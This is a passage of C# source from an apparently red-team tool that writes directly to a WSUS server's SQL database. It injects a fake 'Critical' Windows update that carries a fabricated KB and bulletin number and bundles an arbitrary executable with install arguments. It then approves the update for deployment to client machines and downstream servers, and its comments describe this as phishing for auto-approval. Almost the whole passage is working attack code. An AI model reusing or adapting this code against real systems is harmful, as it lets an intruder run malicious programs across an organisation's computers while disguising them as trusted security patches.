+ @""); 618 | sbUpdate.AppendLine("\t" + @""); 619 | sbUpdate.AppendLine("\t\t" + @""); 620 | sbUpdate.AppendLine("\t\t" + @""); 621 | sbUpdate.AppendLine("\t" + @""); 622 | sbUpdate.AppendLine("\t" + @""); 623 | sbUpdate.AppendLine("\t\t" + @""); 624 | sbUpdate.AppendLine("\t\t\t" + @"en"); 625 | sbUpdate.AppendLine("\t\t\t" + @"Probably-legal-update"); 626 | sbUpdate.AppendLine("\t\t" + @""); 627 | sbUpdate.AppendLine("\t" + @""); 628 | sbUpdate.AppendLine("\t" + @""); 629 | sbUpdate.AppendLine("\t\t" + @""); 630 | sbUpdate.AppendLine("\t\t" + @""); 631 | sbUpdate.AppendLine("\t" + @""); 632 | sbUpdate.AppendLine("\t" + @""); 633 | sbUpdate.AppendLine("\t\t" + @""); 634 | sbUpdate.AppendLine("\t\t\t" + @"" + clFileData.sSHA256 + @""); 635 | sbUpdate.AppendLine("\t\t" + @""); 636 | sbUpdate.AppendLine("\t" + @""); 637 | sbUpdate.AppendLine("\t" + @""); 638 | sbUpdate.AppendLine("\t\t" + @""); 639 | sbUpdate.AppendLine("\t\t\t" + @""); 640 | sbUpdate.AppendLine("\t\t" + @""); 641 | sbUpdate.AppendLine("\t" + @""); 642 | sbUpdate.AppendLine(@"',"); 643 | sbUpdate.AppendLine(@"@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL"); 644 | sbUpdate.AppendLine(@"select @iImported,@iLocalRevisionID"); 645 | sqlCommFun.CommandText = sbUpdate.ToString(); 646 | try 647 | { 648 | sqldrReader = sqlCommFun.ExecuteReader(); 649 | dtDataTbl.Load(sqldrReader); 650 | stUpdateData.iRevisionID = (int)dtDataTbl.Rows[0][1]; 651 | if (stUpdateData.iRevisionID == 0) 652 | { 653 | Console.WriteLine("Error importing update"); 654 | sqldrReader.Close(); 655 | return false; 656 | 657 | } 658 | if (clCLI.bVerbose == true) 659 | { 660 | Console.WriteLine("ImportUpdate"); 661 | Console.WriteLine("Update Revision ID: {0}", stUpdateData.iRevisionID); 662 | } 663 | sqldrReader.Close(); 664 | 665 | sqldrReader.Close(); 666 | return true; 667 | } 668 | catch 669 | { 670 | Console.WriteLine("\r\nFunction error - FbImportUpdate."); 671 | } 672 | return false; 673 | } 674 | static bool FbPrepareXMLtoClient(SqlCommand sqlCommFun, ClFile clFileData) 675 | { 676 | SqlDataReader sqldrReader; 677 | StringBuilder sbXMLClient = new StringBuilder(); 678 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gUpdate + @"',202,1,N'<UpdateIdentity UpdateID=""" + clGuidData.gUpdate + @""" RevisionNumber=""202"" /><Properties UpdateType=""Software"" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>',NULL"); 679 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gUpdate + @"',202,4,N'<LocalizedProperties><Language>en</Language><Title>Probably-legal-update</Title></LocalizedProperties>',NULL,'en'"); 680 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gUpdate + @"',202,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"" MaxDownloadSize=""" + clFileData.lSize + @""" MinDownloadSize=""" + clFileData.lSize + @"""><InstallationBehavior RebootBehavior=""NeverReboots"" /></ExtendedProperties><Files><File Digest=""" + clFileData.sSHA1 + @""" DigestAlgorithm=""SHA1"" FileName=""" + clFileData.sFileName + @""" Size=""" + clFileData.lSize + @""" Modified=""2010-11-25T15:26:20.723""><AdditionalDigest Algorithm=""SHA256"">" + clFileData.sSHA256 + @"</AdditionalDigest></File></Files><HandlerSpecificData type=""cmd:CommandLineInstallation""><InstallCommand Arguments=""" + clFileData.sArgs + @""" Program=""" + clFileData.sFileName + @""" RebootByDefault=""false"" DefaultResult=""Failed""><ReturnCode Reboot=""false"" Result=""Succeeded"" Code=""0"" /></InstallCommand></HandlerSpecificData>',NULL"); 681 | sqlCommFun.CommandText = sbXMLClient.ToString(); 682 | try 683 | { 684 | if (clCLI.bVerbose == true) 685 | { 686 | Console.WriteLine("PrepareXMLtoClient"); 687 | } 688 | sqldrReader = sqlCommFun.ExecuteReader(); 689 | sqldrReader.Close(); 690 | return true; 691 | } 692 | catch 693 | { 694 | Console.WriteLine("\r\nFunction error - FbPrepareXMLtoClient."); 695 | return false; 696 | } 697 | } 698 | static bool FbPrepareXmlBundleToClient(SqlCommand sqlCommFun) 699 | { 700 | SqlDataReader sqldrReader; 701 | StringBuilder sbXMLBundle = new StringBuilder(); 702 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gBundle + @"',204,1,N'<UpdateIdentity UpdateID=""" + clGuidData.gBundle + @""" RevisionNumber=""204"" /><Properties UpdateType=""Software"" ExplicitlyDeployable=""true"" AutoSelectOnWebSites=""true"" /><Relationships><Prerequisites><AtLeastOne IsCategory=""true""><UpdateIdentity UpdateID=""0fa1201d-4330-4fa8-8ae9-b877473b6441"" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID=""" + clGuidData.gUpdate + @""" RevisionNumber=""202"" /></BundledUpdates></Relationships>',NULL"); 703 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gBundle + @"', 204, 4, N'<LocalizedProperties><Language>en</Language><Title>" + stUpdateData.sTitle + @"</Title><Description>" + stUpdateData.sDescription + @"</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>" + stUpdateData.sURL + @"</MoreInfoUrl><SupportUrl>" +stUpdateData.sURL + @"</SupportUrl></LocalizedProperties>', NULL, 'en'"); 704 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + clGuidData.gBundle + @"',204,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" MsrcSeverity=""" + stUpdateData.sClassification + @""" IsBeta=""false""><SupportUrl>" + stUpdateData.sURL + @"</SupportUrl><SecurityBulletinID>" + stUpdateData.sMSRCNumber + @"</SecurityBulletinID><KBArticleID>" + stUpdateData.sKBNumbers + @"</KBArticleID></ExtendedProperties>',NULL"); 705 | sqlCommFun.CommandText = sbXMLBundle.ToString(); 706 | try 707 | { 708 | if (clCLI.bVerbose == true) 709 | { 710 | Console.WriteLine("PrepareXMLBundletoClient"); 711 | } 712 | sqldrReader = sqlCommFun.ExecuteReader(); 713 | sqldrReader.Close(); 714 | return true; 715 | } 716 | catch 717 | { 718 | Console.WriteLine("\r\nFunction error - FbPrepareXMLBundletoClient."); 719 | return false; 720 | } 721 | } 722 | static bool FbInjectUrl2Download(SqlCommand sqlCommFun, ClFile clFileData) 723 | { 724 | SqlDataReader sqldrReader; 725 | StringBuilder sbDownloadURL = new StringBuilder(); 726 | string sDownloadURLexec = string.Empty; 727 | if (clWSUSData.bSSL == true) 728 | { 729 | sDownloadURLexec = @"https://" + clWSUSData.sComputerName + ":" + clWSUSData.iPortNumber + "/Content/wuagent.exe"; 730 | } 731 | else if (clWSUSData.bSSL == false) 732 | { 733 | sDownloadURLexec = @"http://" + clWSUSData.sComputerName + ":" + clWSUSData.iPortNumber + "/Content/wuagent.exe"; 734 | } 735 | else 736 | { 737 | return false; 738 | } 739 | 740 | sbDownloadURL.AppendLine(@"exec spSetBatchURL @urlBatch =N''"); 741 | sqlCommFun.CommandText = sbDownloadURL.ToString(); 742 | try 743 | { 744 | if (clCLI.bVerbose == true) 745 | { 746 | Console.WriteLine("InjectURL2Download"); 747 | } 748 | sqldrReader = sqlCommFun.ExecuteReader(); 749 | sqldrReader.Close(); 750 | return true; 751 | } 752 | catch 753 | { 754 | Console.WriteLine("\r\nFunction error - FbInjectUrl2Download."); 755 | return false; 756 | } 757 | } 758 | static bool FbDeploymentRevision(SqlCommand sqlCommFun, int iRevisionID) 759 | { 760 | SqlDataReader sqldrReader; 761 | StringBuilder sbDeployRev = new StringBuilder(); 762 | sbDeployRev.AppendLine(@"exec spDeploymentAutomation @revisionID = " + iRevisionID); 763 | sqlCommFun.CommandText = sbDeployRev.ToString(); 764 | try 765 | { 766 | if (clCLI.bVerbose == true) 767 | { 768 | Console.WriteLine("DeploymentRevision"); 769 | } 770 | sqldrReader = sqlCommFun.ExecuteReader(); 771 | sqldrReader.Close(); 772 | return true; 773 | } 774 | catch 775 | { 776 | Console.WriteLine("\r\nFunction error - FbDeploymentRevision."); 777 | return false; 778 | } 779 | } 780 | static bool FbPrepareBundle(SqlCommand sqlCommFun) 781 | { 782 | SqlDataReader sqldrReader; 783 | StringBuilder sbPrepareBund = new StringBuilder(); 784 | System.Data.DataTable dtDataTbl = new System.Data.DataTable(); 785 | 786 | sbPrepareBund.AppendLine(@"declare @iImported int"); 787 | sbPrepareBund.AppendLine(@"declare @iLocalRevisionID int"); 788 | sbPrepareBund.AppendLine(@"exec spImportUpdate @UpdateXml=N'"); 789 | sbPrepareBund.AppendLine(@""); 790 | sbPrepareBund.AppendLine("\t" + @""); 791 | sbPrepareBund.AppendLine("\t" + @""); 792 | sbPrepareBund.AppendLine("\t\t" + @"" + stUpdateData.sURL + @""); 793 | sbPrepareBund.AppendLine("\t\t" + @"" + stUpdateData.sMSRCNumber + @""); 794 | sbPrepareBund.AppendLine("\t\t" + @"" + stUpdateData.sKBNumbers + @""); 795 | sbPrepareBund.AppendLine("\t" + @""); 796 | sbPrepareBund.AppendLine("\t" + @""); 797 | sbPrepareBund.AppendLine("\t\t" + @""); 798 | sbPrepareBund.AppendLine("\t\t\t" + @"en"); 799 | sbPrepareBund.AppendLine("\t\t\t" + @"" + stUpdateData.sTitle + @""); 800 | sbPrepareBund.AppendLine("\t\t\t" + @"" + stUpdateData.sDescription + ""); 801 | sbPrepareBund.AppendLine("\t\t\t" + @"This software update can be removed by selecting View installed updates in the Programs and Features Control Panel."); 802 | sbPrepareBund.AppendLine("\t\t\t" + @"" + stUpdateData.sURL + @""); 803 | sbPrepareBund.AppendLine("\t\t\t" + @"" + stUpdateData.sURL + @""); 804 | sbPrepareBund.AppendLine("\t\t" + @""); 805 | sbPrepareBund.AppendLine("\t" + @""); 806 | sbPrepareBund.AppendLine("\t" + @""); 807 | sbPrepareBund.AppendLine("\t\t" + @""); 808 | sbPrepareBund.AppendLine("\t\t\t" + @""); 809 | sbPrepareBund.AppendLine("\t\t\t\t" + @""); 810 | sbPrepareBund.AppendLine("\t\t\t" + @""); 811 | sbPrepareBund.AppendLine("\t\t" + @""); 812 | sbPrepareBund.AppendLine("\t\t" + @""); 813 | sbPrepareBund.AppendLine("\t\t\t" + @""); 814 | sbPrepareBund.AppendLine("\t\t" + @""); 815 | sbPrepareBund.AppendLine("\t" + @""); 816 | sbPrepareBund.AppendLine(@"',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL"); 817 | sbPrepareBund.AppendLine(@"select @iImported, @iLocalRevisionID"); 818 | sqlCommFun.CommandText = sbPrepareBund.ToString(); 819 | try 820 | { 821 | sqldrReader = sqlCommFun.ExecuteReader(); 822 | dtDataTbl.Load(sqldrReader); 823 | stUpdateData.iRevisionID = (int)dtDataTbl.Rows[0][1]; 824 | if (clCLI.bVerbose == true) 825 | { 826 | Console.WriteLine("PrepareBundle"); 827 | Console.WriteLine("PrepareBundle Revision ID: {0}", stUpdateData.iRevisionID); 828 | } 829 | if(stUpdateData.iRevisionID == 0) 830 | { 831 | Console.WriteLine("Error creating update bundle"); 832 | sqldrReader.Close(); 833 | return false; 834 | } 835 | sqldrReader.Close(); 836 | return true; 837 | } 838 | catch 839 | { 840 | Console.WriteLine("\r\nFunction error - FbPrepareBundle."); 841 | return false; 842 | } 843 | } 844 | static bool FbDeleteUpdate(SqlCommand sqlCommFun, string sBundleID) 845 | { 846 | SqlDataReader sqldrReader; 847 | sqlCommFun.CommandText = @"exec spDeclineUpdate @updateID='" + sBundleID + "'"; 848 | try 849 | { 850 | sqldrReader = sqlCommFun.ExecuteReader(); 851 | sqldrReader.Close(); 852 | } 853 | catch 854 | { 855 | Console.WriteLine("\r\nFunction error - FbDeleteUpdate: Decline Update."); 856 | return false; 857 | } 858 | sqlCommFun.CommandText = @"exec spDeleteUpdateByUpdateID @updateID='" + sBundleID + "'"; 859 | try 860 | { 861 | sqldrReader = sqlCommFun.ExecuteReader(); 862 | sqldrReader.Close(); 863 | } 864 | catch 865 | { 866 | Console.WriteLine("\r\nFunction error - FbDeleteUpdate."); 867 | return false; 868 | } 869 | sqldrReader.Close(); 870 | return true; 871 | } 872 | static void Main(string[] args) 873 | { 874 | try 875 | { 876 | if (!clCLI.FbCLIInterface(args)) 877 | { 878 | clCLI.FvPrintUsage(); 879 | return; 880 | } 881 | if (clWSUSData.bWSUSInstalled == false) 882 | { 883 | Console.WriteLine("While checking registry it appears WSUS is not installed, stopping execution."); 884 | return; 885 | } 886 | SqlCommand sqlComm = new SqlCommand(); 887 | sqlComm.Connection = FsqlConnection(); 888 | if (sqlComm.Connection != null) 889 | { 890 | if (clCLI.bEnumComps == true) 891 | { 892 | FbEnumAllComputers(sqlComm); 893 | } 894 | if(clCLI.bEnumDS == true) 895 | { 896 | FbEnumDownStream(sqlComm); 897 | } 898 | if(clCLI.bDeleteUpdate == true) 899 | { 900 | if (FbDeleteUpdate(sqlComm, clCLI.sBundleGUID) == false) 901 | { 902 | return; 903 | } 904 | } 905 | if (clCLI.bTargetComputer == true || clCLI.bManualApproval == true) 906 | { 907 | ///// 908 | //ClFile(filename, local filepath, arguments, copy file to WSUS\Content?, WSUS Content Path) 909 | //Todo - Dynamically detect WSUS content path, it's in registry 910 | ClFile clFileData = new ClFile(clCLI.sCliFileName, clCLI.sCliFilePath, clCLI.sCliArgs, clWSUSData.sLocalContentCacheLocation, true); 911 | ///// 912 | ///// 913 | //If you're going to use single quotes in title, description, or anywhere below, use two or it won't work correctly 914 | //For example, we''re going phishing. 915 | ///// 916 | stUpdateData.sTitle = "Windows Super Awesome Critical Update for Super Fun Times (KB1234567)"; 917 | stUpdateData.sReleaseDate = @"2018-11-02T17:00:00.000Z"; 918 | stUpdateData.sClassification = "Critical"; 919 | stUpdateData.sMSRCNumber = "MS18-123"; 920 | stUpdateData.sKBNumbers = "1234567"; 921 | stUpdateData.sDescription = "This update will patch super awesome versions of Windows. We''re phishing for an auto-approval or manual approval on the downstream WSUS servers"; 922 | //stUpdateData.sProducts = "Windows XP, 2003, 7, 2008(R2), 2012, 10, 2016"; 923 | stUpdateData.sURL = @"https://ijustwannared.team"; 924 | ///// 925 | if (!FbGetWSUSConfigSQL(sqlComm)) 926 | { 927 | return; 928 | } 929 | if (!FbImportUpdate(sqlComm, clFileData)) 930 | { 931 | return; 932 | } 933 | if (!FbPrepareXMLtoClient(sqlComm, clFileData)) 934 | { 935 | return; 936 | } 937 | if (!FbInjectUrl2Download(sqlComm, clFileData)) 938 | { 939 | return; 940 | } 941 | if (!FbDeploymentRevision(sqlComm, stUpdateData.iRevisionID)) 942 | { 943 | return; 944 | } 945 | if (!FbPrepareBundle(sqlComm)) 946 | { 947 | return; 948 | } 949 | if (!FbPrepareXmlBundleToClient(sqlComm)) 950 | { 951 | return; 952 | } 953 | if (!FbDeploymentRevision(sqlComm, stUpdateData.iRevisionID)) 954 | { 955 | return; 956 | } 957 | Console.WriteLine("To delete update run the following: Thunder_Woosus.exe -DeleteUpdate {0}", clGuidData.gBundle); 958 | } 959 | } 960 | else 961 | { 962 | Console.WriteLine("\r\nSQL Command null"); 963 | } 964 | sqlComm.Connection.Close(); 965 | } 966 | catch 967 | { 968 | Console.WriteLine("\r\nFunction error - Main."); 969 | Console.WriteLine("Does {0} exist on your local target?", clCLI.sCliFilePath); 970 | } 971 | } 972 | } 973 | } 974 | --------------------------------------------------------------------------------